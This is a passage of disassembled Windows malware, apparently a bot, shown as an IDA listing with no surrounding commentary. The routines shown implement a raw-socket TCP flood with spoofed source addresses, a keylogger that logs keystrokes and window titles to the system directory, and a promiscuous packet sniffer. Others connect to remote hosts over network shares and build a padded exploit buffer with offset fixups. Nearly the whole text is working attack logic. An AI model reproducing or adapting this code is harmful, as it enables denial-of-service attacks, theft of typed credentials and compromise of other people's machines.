ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 440h mov eax, [ebp+arg_0] push ebx push esi push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_240] rep movsd xor esi, esi push 0Eh inc esi xor ebx, ebx mov [eax+19Ch], esi pop ecx xor eax, eax lea edi, [ebp+var_9F] mov [ebp+var_A0], bl rep stosd stosw stosb mov edi, dword_423058 call edi ; GetTickCount push eax call sub_417008 pop ecx push 0FFh push 3 push 2 call dword_43EBA4 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_401E36 call dword_43EAB8 ; WSAGetLastError push eax lea eax, [ebp+var_440] push offset dword_425440 push eax call sub_416FB6 add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_401E16 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D476 add esp, 14h loc_401E16: ; CODE XREF: sub_401D6D+84j lea eax, [ebp+var_440] push eax call sub_40BD8D push [ebp+var_BC] call sub_416D90 pop ecx pop ecx push ebx call dword_423054 ; ExitThread loc_401E36: ; CODE XREF: sub_401D6D+61j lea ecx, [ebp+var_34] push 4 push ecx push 2 push ebx push eax mov [ebp+var_34], esi call dword_43EB04 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_401EB4 call dword_43EAB8 ; WSAGetLastError push eax lea eax, [ebp+var_440] push offset dword_4253F8 push eax call sub_416FB6 add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_401E94 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D476 add esp, 14h loc_401E94: ; CODE XREF: sub_401D6D+102j lea eax, [ebp+var_440] push eax call sub_40BD8D push [ebp+var_BC] call sub_416D90 pop ecx pop ecx push ebx call dword_423054 ; ExitThread loc_401EB4: ; CODE XREF: sub_401D6D+DFj lea eax, [ebp+var_23C] push eax call dword_43EB64 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_401F24 lea eax, [ebp+var_440] push offset dword_4253C8 push eax call sub_416FB6 cmp [ebp+var_A8], ebx pop ecx pop ecx jnz short loc_401F04 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D476 add esp, 14h loc_401F04: ; CODE XREF: sub_401D6D+172j lea eax, [ebp+var_440] push eax call sub_40BD8D push [ebp+var_BC] call sub_416D90 pop ecx pop ecx push ebx call dword_423054 ; ExitThread loc_401F24: ; CODE XREF: sub_401D6D+157j push 10h lea eax, [ebp+var_44] push ebx push eax call sub_417030 add esp, 0Ch mov [ebp+var_44], 2 push ebx call dword_43EB24 ; htons mov [ebp+var_42], ax lea eax, [ebp+var_23C] push eax call dword_43EB64 ; inet_addr mov [ebp+var_40], eax mov [ebp+arg_0], ebx call edi ; GetTickCount mov [ebp+var_30], eax jmp loc_40218C ; --------------------------------------------------------------------------- loc_401F61: ; CODE XREF: sub_401D6D+433j push 28h mov [ebp+var_2C], 45h call dword_43EB24 ; htons cmp [ebp+var_B0], ebx mov [ebp+var_2A], ax mov [ebp+var_28], si mov [ebp+var_26], bx mov [ebp+var_24], 80h mov [ebp+var_23], 6 mov [ebp+var_22], bx jz short loc_401FBA call sub_417012 mov esi, eax shl esi, 8 call sub_417012 add esi, eax shl esi, 8 call sub_417012 add esi, eax shl esi, 8 call sub_417012 add esi, eax mov [ebp+var_20], esi xor esi, esi inc esi jmp short loc_401FD0 ; --------------------------------------------------------------------------- loc_401FBA: ; CODE XREF: sub_401D6D+21Ej push [ebp+var_240] call sub_40AD08 pop ecx push eax call dword_43EB64 ; inet_addr mov [ebp+var_20], eax loc_401FD0: ; CODE XREF: sub_401D6D+24Bj mov eax, [ebp+var_40] cmp [ebp+var_B8], ebx mov [ebp+var_1C], eax jnz short loc_401FEE call sub_417012 cdq mov ecx, 401h idiv ecx push edx jmp short loc_401FF4 ; --------------------------------------------------------------------------- loc_401FEE: ; CODE XREF: sub_401D6D+26Fj push [ebp+var_B8] loc_401FF4: ; CODE XREF: sub_401D6D+27Fj call dword_43EB24 ; htons mov [ebp+var_16], ax call sub_417012 cdq mov ecx, 401h idiv ecx push edx call dword_43EB24 ; htons push 12345678h mov [ebp+var_18], ax call dword_43EB20 ; htonl mov [ebp+var_14], eax lea eax, [ebp+var_1BC] push offset aSyn ; "syn" push eax call sub_417580 pop ecx test eax, eax pop ecx jz short loc_402044 mov [ebp+var_10], ebx mov [ebp+var_B], 2 jmp short loc_4020A0 ; --------------------------------------------------------------------------- loc_402044: ; CODE XREF: sub_401D6D+2CCj lea eax, [ebp+var_1BC] push offset aAck ; "ack" push eax call sub_417580 pop ecx test eax, eax pop ecx jz short loc_402064 mov [ebp+var_10], ebx mov [ebp+var_B], 10h jmp short loc_4020A0 ; --------------------------------------------------------------------------- loc_402064: ; CODE XREF: sub_401D6D+2ECj lea eax, [ebp+var_1BC] push offset aRandom ; "random" push eax call sub_417580 pop ecx test eax, eax pop ecx jz short loc_4020A0 call sub_417012 push 3 cdq pop ecx idiv ecx mov [ebp+var_10], edx call sub_417012 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_B], dl loc_4020A0: ; CODE XREF: sub_401D6D+2D5j ; sub_401D6D+2F5j ... push 200h mov [ebp+var_C], 50h call dword_43EB24 ; htons mov [ebp+var_A], ax mov eax, [ebp+var_20] mov [ebp+var_64], eax mov eax, [ebp+var_1C] push 14h mov [ebp+var_6], bx mov [ebp+var_8], bx mov [ebp+var_60], eax mov [ebp+var_5C], bl mov [ebp+var_5B], 6 call dword_43EB24 ; htons mov [ebp+var_5A], ax lea eax, [ebp+var_64] push 20h push eax lea eax, [ebp+var_A0] push eax call sub_417090 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_80] push eax call sub_417090 lea eax, [ebp+var_A0] push 34h push eax call sub_40AD61 mov [ebp+var_8], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call sub_417090 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_8C] push eax call sub_417090 push 4 lea eax, [ebp+var_78] push ebx push eax call sub_417030 add esp, 44h lea eax, [ebp+var_A0] push 28h push eax call sub_40AD61 mov [ebp+var_22], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call sub_417090 add esp, 14h lea eax, [ebp+var_44] push 10h push eax push ebx lea eax, [ebp+var_A0] push 3Ch push eax push [ebp+var_4] call dword_43EB88 ; sendto cmp eax, 0FFFFFFFFh jz loc_402237 inc [ebp+arg_0] loc_40218C: ; CODE XREF: sub_401D6D+1EFj call edi ; GetTickCount sub eax, [ebp+var_30] mov ecx, 3E8h xor edx, edx div ecx cmp eax, [ebp+var_B4] jbe loc_401F61 push [ebp+var_4] call dword_43EBBC ; closesocket mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_B4] shr ecx, 14h push ecx push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax lea eax, [ebp+var_1BC] push eax lea eax, [ebp+var_440] push offset dword_425358 push eax call sub_416FB6 add esp, 1Ch cmp [ebp+var_A8], ebx jnz short loc_402217 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D476 add esp, 14h loc_402217: ; CODE XREF: sub_401D6D+485j lea eax, [ebp+var_440] push eax call sub_40BD8D push [ebp+var_BC] call sub_416D90 pop ecx pop ecx push ebx call dword_423054 ; ExitThread loc_402237: ; CODE XREF: sub_401D6D+416j push [ebp+var_4] call dword_43EBBC ; closesocket call dword_43EAB8 ; WSAGetLastError push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax push offset dword_4252F8 lea eax, [ebp+var_440] push 200h push eax call sub_41752A add esp, 18h cmp [ebp+var_A8], ebx jnz short loc_402295 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D476 add esp, 14h loc_402295: ; CODE XREF: sub_401D6D+503j lea eax, [ebp+var_440] push eax call sub_40BD8D push [ebp+var_BC] call sub_416D90 pop ecx pop ecx push ebx call dword_423054 ; ExitThread sub_401D6D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4022B5 proc near ; CODE XREF: sub_402394+B4p ; sub_402394+247p var_314 = byte ptr -314h var_114 = byte ptr -114h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = byte ptr 14h arg_8C = dword ptr 94h arg_90 = dword ptr 98h push ebp mov ebp, esp sub esp, 314h lea eax, [ebp+var_10] push esi push eax call dword_42306C ; GetLocalTime lea eax, [ebp+var_114] push 104h push eax call dword_423068 ; GetSystemDirectoryA lea eax, [ebp+var_114] push offset asc_425C34 ; "\\" push eax call sub_4176D0 lea eax, [ebp+var_114] push offset dword_42E9C4 push eax call sub_4176D0 lea eax, [ebp+var_114] push offset aAb ; "ab" push eax call sub_4176A8 mov esi, eax add esp, 18h test esi, esi jnz short loc_40231A inc eax jmp short loc_402391 ; --------------------------------------------------------------------------- loc_40231A: ; CODE XREF: sub_4022B5+60j movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi call sub_417656 push esi call sub_417600 add esp, 28h cmp [ebp+arg_90], 0 jnz short loc_40238F push [ebp+arg_0] lea eax, [ebp+var_314] push offset dword_425BF4 push 200h push eax call sub_41752A push 0 lea eax, [ebp+var_314] push [ebp+arg_8C] push eax lea eax, [ebp+arg_C] push eax push [ebp+arg_4] call sub_40D476 add esp, 24h loc_40238F: ; CODE XREF: sub_4022B5+A1j xor eax, eax loc_402391: ; CODE XREF: sub_4022B5+63j pop esi leave retn sub_4022B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402394 proc near ; DATA XREF: sub_40EC43+1EF6o var_8DC = dword ptr -8DCh var_8D8 = byte ptr -8D8h var_4DC = byte ptr -4DCh var_2DD = byte ptr -2DDh var_2DC = byte ptr -2DCh var_DC = byte ptr -0DCh var_D8 = dword ptr -0D8h var_48 = byte ptr -48h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8DCh mov eax, [ebp+arg_0] push ebx push esi push edi and [ebp+var_8DC], 0 push 25h and [ebp+var_4], 0 pop ecx mov esi, eax lea edi, [ebp+var_DC] rep movsd mov dword ptr [eax+90h], 1 mov ecx, 0FFh xor eax, eax lea edi, [ebp+var_8D8] rep stosd call dword_43EAAC ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_43EAC0 ; GetWindowTextA mov ebx, 200h loc_4023EF: ; CODE XREF: sub_402394+2BBj push 8 call dword_423064 ; Sleep call dword_43EAAC ; GetForegroundWindow cmp eax, [ebp+var_8] jz short loc_402477 lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_43EAC0 ; GetWindowTextA lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax lea eax, [ebp+var_4DC] push offset aSChangedWindow ; "%s (Changed Windows: %s)" push eax call sub_416FB6 sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+var_4DC] push 25h pop ecx mov edi, esp push eax rep movsd call sub_4022B5 mov [ebp+var_4], eax push ebx lea eax, [ebp+var_2DC] push 0 push eax call sub_417030 add esp, 0A4h lea eax, [ebp+var_4DC] push ebx push 0 push eax call sub_417030 add esp, 0Ch loc_402477: ; CODE XREF: sub_402394+6Cj mov [ebp+arg_0], offset dword_42548C loc_40247E: ; CODE XREF: sub_402394+2B1j push 10h call dword_43EA04 ; GetKeyState movsx esi, ax mov eax, [ebp+arg_0] mov edi, [eax-4] push edi call dword_43EAF0 ; GetAsyncKeyState test ah, ah jns short loc_402515 push 14h call dword_43EA04 ; GetKeyState test ax, ax jz short loc_4024C6 cmp esi, 0FFFFFFFFh jle short loc_4024C6 cmp edi, 40h jle short loc_4024C6 cmp edi, 5Bh jge short loc_4024C6 mov [ebp+edi*4+var_8DC], 1 jmp loc_40263A ; --------------------------------------------------------------------------- loc_4024C6: ; CODE XREF: sub_402394+111j ; sub_402394+116j ... push 14h call dword_43EA04 ; GetKeyState test ax, ax jz short loc_4024F1 test esi, esi jge short loc_402505 cmp edi, 40h jle short loc_4024F1 cmp edi, 5Bh jge short loc_4024F1 mov [ebp+edi*4+var_8DC], 2 jmp loc_40263A ; --------------------------------------------------------------------------- loc_4024F1: ; CODE XREF: sub_402394+13Dj ; sub_402394+146j ... test esi, esi jge short loc_402505 mov [ebp+edi*4+var_8DC], 3 jmp loc_40263A ; --------------------------------------------------------------------------- loc_402505: ; CODE XREF: sub_402394+141j ; sub_402394+15Fj mov [ebp+edi*4+var_8DC], 4 jmp loc_40263A ; --------------------------------------------------------------------------- loc_402515: ; CODE XREF: sub_402394+104j lea eax, [ebp+edi*4+var_8DC] mov esi, [eax] test esi, esi jz loc_40263A and dword ptr [eax], 0 lea eax, [ebp+var_2DC] push eax call sub_4177B0 cmp edi, 8 pop ecx jnz short loc_402548 and [ebp+eax+var_2DD], 0 jmp loc_40263A ; --------------------------------------------------------------------------- loc_402548: ; CODE XREF: sub_402394+1A5j cmp eax, 1B9h jbe short loc_402574 call dword_43EAAC ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax call dword_43EAC0 ; GetWindowTextA lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax push offset aSBufferFullS ; "%s (Buffer full) (%s)" jmp short loc_4025B5 ; --------------------------------------------------------------------------- loc_402574: ; CODE XREF: sub_402394+1B9j cmp edi, 0Dh jnz loc_40260C lea eax, [ebp+var_2DC] push eax call sub_4177B0 test eax, eax pop ecx jz loc_40263A call dword_43EAAC ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax call dword_43EAC0 ; GetWindowTextA lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax push offset aSReturnS ; "%s (Return) (%s)" loc_4025B5: ; CODE XREF: sub_402394+1DEj lea eax, [ebp+var_4DC] push eax call sub_416FB6 sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+var_4DC] push 25h pop ecx mov edi, esp push eax rep movsd call sub_4022B5 mov [ebp+var_4], eax push ebx lea eax, [ebp+var_2DC] push 0 push eax call sub_417030 add esp, 0A4h lea eax, [ebp+var_4DC] push ebx push 0 push eax call sub_417030 add esp, 0Ch jmp short loc_40263A ; --------------------------------------------------------------------------- loc_40260C: ; CODE XREF: sub_402394+1E3j cmp esi, 1 jz short loc_402625 cmp esi, 3 jz short loc_402625 cmp esi, 2 jz short loc_402620 cmp esi, 4 jnz short loc_40263A loc_402620: ; CODE XREF: sub_402394+285j push [ebp+arg_0] jmp short loc_40262C ; --------------------------------------------------------------------------- loc_402625: ; CODE XREF: sub_402394+27Bj ; sub_402394+280j mov eax, [ebp+arg_0] add eax, 7 push eax loc_40262C: ; CODE XREF: sub_402394+28Fj lea eax, [ebp+var_2DC] push eax call sub_4176D0 pop ecx pop ecx loc_40263A: ; CODE XREF: sub_402394+12Dj ; sub_402394+158j ... add [ebp+arg_0], 14h cmp [ebp+arg_0], offset dword_425BBC jl loc_40247E cmp [ebp+var_4], 0 jz loc_4023EF push [ebp+var_D8] call sub_416D90 pop ecx push 0 call dword_423054 ; ExitThread sub_402394 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402669 proc near ; DATA XREF: sub_40EC43+1D48o var_102B4 = byte ptr -102B4h var_102AB = byte ptr -102ABh var_102A8 = dword ptr -102A8h var_102A0 = dword ptr -102A0h var_10293 = byte ptr -10293h var_1028C = byte ptr -1028Ch var_2B4 = byte ptr -2B4h var_B4 = dword ptr -0B4h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 102B4h call sub_417830 mov edx, [ebp+arg_0] push esi push edi push 25h xor eax, eax pop ecx mov esi, edx lea edi, [ebp+var_B4] inc eax push 10h rep movsd mov [ebp+var_8], eax mov [edx+90h], eax xor esi, esi lea eax, [ebp+var_1C] push esi push eax call sub_417030 add esp, 0Ch mov [ebp+var_1C], 2 push esi call dword_43EB24 ; htons push [ebp+var_B4] mov [ebp+var_1A], ax call sub_40AD08 pop ecx push eax call dword_43EB64 ; inet_addr push esi push 3 push 2 mov [ebp+var_18], eax call dword_43EBA4 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_4], edi jnz short loc_40273E call dword_43EAB8 ; WSAGetLastError push eax lea eax, [ebp+var_2B4] push offset unk_426628 push eax call sub_416FB6 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_402721 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D476 add esp, 14h loc_402721: ; CODE XREF: sub_402669+96j lea eax, [ebp+var_2B4] push eax call sub_40BD8D push [ebp+var_30] call sub_416D90 pop ecx pop ecx push esi call dword_423054 ; ExitThread loc_40273E: ; CODE XREF: sub_402669+76j mov eax, [ebp+var_30] push 10h imul eax, 234h mov dword_444574[eax], edi lea eax, [ebp+var_1C] push eax push edi call dword_43EB50 ; bind cmp eax, 0FFFFFFFFh jnz short loc_4027C3 call dword_43EAB8 ; WSAGetLastError push eax lea eax, [ebp+var_2B4] push offset unk_4265E0 push eax call sub_416FB6 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_40279F push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D476 add esp, 14h loc_40279F: ; CODE XREF: sub_402669+114j lea eax, [ebp+var_2B4] push eax call sub_40BD8D pop ecx push edi call dword_43EBBC ; closesocket push [ebp+var_30] call sub_416D90 pop ecx push esi call dword_423054 ; ExitThread loc_4027C3: ; CODE XREF: sub_402669+F4j push esi lea eax, [ebp+var_20] push esi push eax push esi push esi lea eax, [ebp+var_8] push 4 push eax push 98000001h push edi call dword_43EAD0 ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short loc_402846 call dword_43EAB8 ; WSAGetLastError push eax lea eax, [ebp+var_2B4] push offset unk_426598 push eax call sub_416FB6 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_402822 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D476 add esp, 14h loc_402822: ; CODE XREF: sub_402669+197j lea eax, [ebp+var_2B4] push eax call sub_40BD8D pop ecx push edi call dword_43EBBC ; closesocket push [ebp+var_30] call sub_416D90 pop ecx push esi call dword_423054 ; ExitThread loc_402846: ; CODE XREF: sub_402669+177j push ebx mov ebx, offset dword_425C90 loc_40284C: ; CODE XREF: sub_402669+21Cj ; sub_402669+22Ej ... push 0FFFFh lea eax, [ebp+var_102B4] push esi push eax call sub_417030 add esp, 0Ch lea eax, [ebp+var_102B4] push esi push 0FFFFh push eax push edi call dword_43EB3C ; recv cmp eax, 0FFFFFFFFh jz loc_40295E cmp [ebp+var_102AB], 6 jnz short loc_40284C mov eax, [ebp+var_102A8] cmp [ebp+var_10293], 18h mov [ebp+var_C], eax jnz short loc_40284C lea eax, [ebp+var_1028C] push offset aPsniff ; "[PSNIFF]" push eax call sub_417580 pop ecx test eax, eax pop ecx jnz short loc_40284C xor edi, edi mov eax, ebx mov [ebp+arg_0], ebx loc_4028B7: ; CODE XREF: sub_402669+269j push eax lea eax, [ebp+var_1028C] push eax call sub_417580 pop ecx test eax, eax pop ecx jnz short loc_4028DC inc edi add [ebp+arg_0], 18h mov eax, [ebp+arg_0] jnz short loc_4028B7 loc_4028D4: ; CODE XREF: sub_402669+2F0j mov edi, [ebp+var_4] jmp loc_40284C ; --------------------------------------------------------------------------- loc_4028DC: ; CODE XREF: sub_402669+25Fj lea eax, [ebp+var_1028C] push eax push [ebp+var_102A0] call dword_43EA60 ; htons movzx eax, ax push eax push [ebp+var_C] call dword_43EBB0 ; inet_ntoa push eax lea eax, [edi+edi*2] mov eax, dword_425CA4[eax*8] push off_425C80[eax*4] lea eax, [ebp+var_2B4] push offset unk_426548 push 200h push eax call sub_41752A add esp, 1Ch cmp [ebp+var_28], esi jnz short loc_40294C push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D476 add esp, 14h loc_40294C: ; CODE XREF: sub_402669+2C1j lea eax, [ebp+var_2B4] push eax call sub_40BD8D pop ecx jmp loc_4028D4 ; --------------------------------------------------------------------------- loc_40295E: ; CODE XREF: sub_402669+20Fj call dword_43EAB8 ; WSAGetLastError push eax push offset unk_426500 lea eax, [ebp+var_2B4] push 200h push eax call sub_41752A add esp, 10h cmp [ebp+var_28], esi pop ebx jnz short loc_4029A4 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D476 add esp, 14h loc_4029A4: ; CODE XREF: sub_402669+319j lea eax, [ebp+var_2B4] push eax call sub_40BD8D pop ecx push edi call dword_43EBBC ; closesocket push [ebp+var_30] call sub_416D90 pop ecx push esi call dword_423054 ; ExitThread sub_402669 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4029C8 proc near ; CODE XREF: sub_402DB1+28p var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 354h push ebx push esi push edi mov esi, offset off_426B98 lea edi, [ebp+var_C] mov ecx, 8Ah movsd movsd movsd mov esi, offset asc_426B90 ; "\\\\" lea edi, [ebp+var_354] movsd movsw xor eax, eax lea edi, [ebp+var_34E] rep stosd stosw mov al, byte_43BCE8 push 45h mov [ebp+var_124], al pop ecx xor eax, eax lea edi, [ebp+var_123] rep stosd stosw stosb lea eax, [ebp+var_124] push 0FFh push eax push 0FFFFFFFFh push [ebp+arg_0] xor edi, edi push edi push edi call dword_423070 ; MultiByteToWideChar lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_41785F lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_41785F mov esi, [ebp+arg_4] lea eax, [ebp+var_354] add esp, 10h mov [esi+14h], eax mov eax, offset dword_43BCE4 push edi push eax push eax push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+1Ch], edi call dword_43EBC4 cmp eax, 5 mov ebx, 4C3h jz short loc_402A8C cmp eax, ebx jnz short loc_402A96 loc_402A8C: ; CODE XREF: sub_4029C8+BEj push edi push edi push edi push esi call dword_43EBC4 loc_402A96: ; CODE XREF: sub_4029C8+C2j cmp eax, 5 jz short loc_402AA4 cmp eax, ebx jz short loc_402AA4 xor eax, eax inc eax jmp short loc_402AA6 ; --------------------------------------------------------------------------- loc_402AA4: ; CODE XREF: sub_4029C8+D1j ; sub_4029C8+D5j xor eax, eax loc_402AA6: ; CODE XREF: sub_4029C8+DAj pop edi pop esi pop ebx leave retn sub_4029C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402AAB proc near ; CODE XREF: sub_402DB1+7Ap ; sub_402DB1+15Ap var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 354h push esi push edi mov esi, offset off_426B98 lea edi, [ebp+var_C] movsd movsd movsd mov esi, offset asc_426B90 ; "\\\\" lea edi, [ebp+var_354] movsd movsw mov ecx, 8Ah xor eax, eax lea edi, [ebp+var_34E] push 45h rep stosd stosw mov al, byte_43BCE8 pop ecx mov [ebp+var_124], al xor eax, eax lea edi, [ebp+var_123] push 0FFh rep stosd stosw stosb lea eax, [ebp+var_124] xor esi, esi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push esi call dword_423070 ; MultiByteToWideChar lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_41785F lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_41785F add esp, 10h jmp short loc_402B49 ; --------------------------------------------------------------------------- loc_402B3E: ; CODE XREF: sub_402AAB+AFj push 7D0h call dword_423064 ; Sleep loc_402B49: ; CODE XREF: sub_402AAB+91j push esi lea eax, [ebp+var_354] push esi push eax call dword_43EA64 test eax, eax jnz short loc_402B3E pop edi inc eax pop esi leave retn sub_402AAB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402B61 proc near ; CODE XREF: sub_402DB1+A6p ; sub_402DB1+1E7p var_3004 = byte ptr -3004h var_2004 = byte ptr -2004h var_1FE0 = byte ptr -1FE0h var_1FD4 = byte ptr -1FD4h var_1F2D = byte ptr -1F2Dh var_1004 = byte ptr -1004h var_FFC = dword ptr -0FFCh var_FF4 = dword ptr -0FF4h var_F84 = dword ptr -0F84h var_F80 = dword ptr -0F80h var_F50 = dword ptr -0F50h var_F4C = dword ptr -0F4Ch var_F34 = dword ptr -0F34h var_E78 = dword ptr -0E78h var_CA4 = dword ptr -0CA4h var_C9C = dword ptr -0C9Ch var_C94 = byte ptr -0C94h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h arg_C4 = dword ptr 0CCh push ebp mov ebp, esp mov eax, 3004h call sub_417830 push esi push edi push offset byte_42E9B8 mov esi, 0A7h push [ebp+arg_0] mov [ebp+var_4], esi call sub_40AD08 pop ecx push eax lea eax, [ebp+var_3004] push 1000h push eax call sub_4168F1 mov edi, eax add esp, 10h test edi, edi jz loc_402DAD push ebx mov ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX" push 30h lea eax, [ebp+var_2004] push ebx push eax call sub_417090 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_417030 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+var_1F2D] push eax call sub_417090 lea esi, [edi+0D7h] jmp short loc_402C23 ; --------------------------------------------------------------------------- loc_402BE5: ; CODE XREF: sub_402B61+D0j mov esi, [ebp+var_4] push 30h lea eax, [ebp+var_2004] inc esi push ebx push eax mov [ebp+var_4], esi call sub_417090 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_417030 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+esi+var_1FD4] push eax call sub_417090 lea esi, [esi+edi+30h] loc_402C23: ; CODE XREF: sub_402B61+82j add esp, 24h mov eax, esi cdq push 10h pop ecx idiv ecx cmp edx, 0Ch jnz short loc_402BE5 cmp [ebp+arg_C4], 0 jz short loc_402C4E cmp [ebp+arg_C0], 3 jz short loc_402C57 cmp [ebp+arg_C0], 0 jmp short loc_402C55 ; --------------------------------------------------------------------------- loc_402C4E: ; CODE XREF: sub_402B61+D9j cmp [ebp+arg_C0], 3 loc_402C55: ; CODE XREF: sub_402B61+EBj jnz short loc_402C60 loc_402C57: ; CODE XREF: sub_402B61+E2j push 4 push offset dword_426B8C jmp short loc_402C67 ; --------------------------------------------------------------------------- loc_402C60: ; CODE XREF: sub_402B61:loc_402C55j push 4 push offset dword_426B88 loc_402C67: ; CODE XREF: sub_402B61+FDj lea eax, [ebp+var_1FE0] push eax call sub_417090 add esp, 0Ch lea eax, [ebp+var_1004] push 360h push offset dword_4266C0 push eax call sub_417090 push 10h lea eax, [ebp+var_CA4] push offset dword_426A24 push eax call sub_417090 lea eax, [ebp+var_2004] push esi push eax lea eax, [ebp+var_C94] push eax call sub_417090 lea edi, [esi+370h] push 3Ch push offset off_426A38 lea eax, [ebp+edi+var_1004] push eax call sub_417090 add edi, 3Ch push 30h push offset dword_426A78 lea eax, [ebp+edi+var_1004] push eax call sub_417090 mov eax, esi add edi, 30h cdq sub eax, edx sar eax, 1 add [ebp+var_CA4], eax add [ebp+var_C9C], eax mov eax, [ebp+var_FFC] lea eax, [eax+esi-0Ch] mov [ebp+var_FFC], eax mov eax, [ebp+var_FF4] lea eax, [eax+esi-0Ch] mov [ebp+var_FF4], eax mov eax, [ebp+var_F84] lea eax, [eax+esi-0Ch] mov [ebp+var_F84], eax mov eax, [ebp+var_F80] lea eax, [eax+esi-0Ch] mov [ebp+var_F80], eax mov eax, [ebp+var_F50] lea eax, [eax+esi-0Ch] mov [ebp+var_F50], eax mov eax, [ebp+var_F4C] lea eax, [eax+esi-0Ch] mov [ebp+var_F4C], eax mov eax, [ebp+var_F34] lea eax, [eax+esi-0Ch] mov [ebp+var_F34], eax mov eax, [ebp+var_E78] lea eax, [eax+esi-0Ch] lea esi, [edi+1] push esi mov [ebp+var_E78], eax call sub_417889 add esp, 40h mov ebx, eax push 